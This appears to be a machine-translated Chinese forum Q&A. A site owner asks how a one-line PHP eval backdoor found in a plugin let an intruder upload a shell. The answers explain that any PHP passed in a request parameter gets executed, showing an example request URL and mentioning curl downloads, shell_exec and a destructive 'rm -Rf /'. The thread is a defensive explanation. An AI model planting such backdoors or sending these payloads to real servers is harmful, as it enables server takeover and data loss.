最近我们遭到了一些我不知道的人的炮击。 我已经检查了所有日志,我唯一能找到的是一个插件中可能存在漏洞的文件,在他发布到这个URL后,他可以访问上传的文件,这确实是一个shell。
我怀疑这行代码导致了这个问题。
(isset($_REQUEST['null']) ? @eval($_REQUEST['null']) : null);
有人可以向我解释一下有人会通过这个来解决这个问题吗?我真的很好奇他是如何做到的,所以我也可以通过其他插件吐出这样的坏代码。他们基本上从这里上传了一个文件。也许是file_put_contents()
或带有图片的实际POST请求?
我不是黑客家伙,我也从未使用过eval,因为我听说它实际上是一个邪恶的功能。 另请注意,我不会用它来破解其他网站,我只是想了解这里发生了什么。
答案 0 :(得分:1)
这是一个 BIG 漏洞!您可以传递整个PHP脚本(通过POST),它将在您的服务器上执行。
想象使用curl(http://php.net/curl)将任何其他恶意代码下载到服务器的PHP代码。
或者你可以发送一个rm -Rf /
并告别文件系统......
答案 1 :(得分:1)
发出这样的请求
http://yourdomain.com/file.php?null=PHP_PAYLOAD
由于eval,将评估/执行PHP_PAYLOAD。
有效负载可以是任何有效的php,例如编写新文件,在服务器上下载,通过shell_exec
运行shell命令。
将执行任何有效的PHP代码。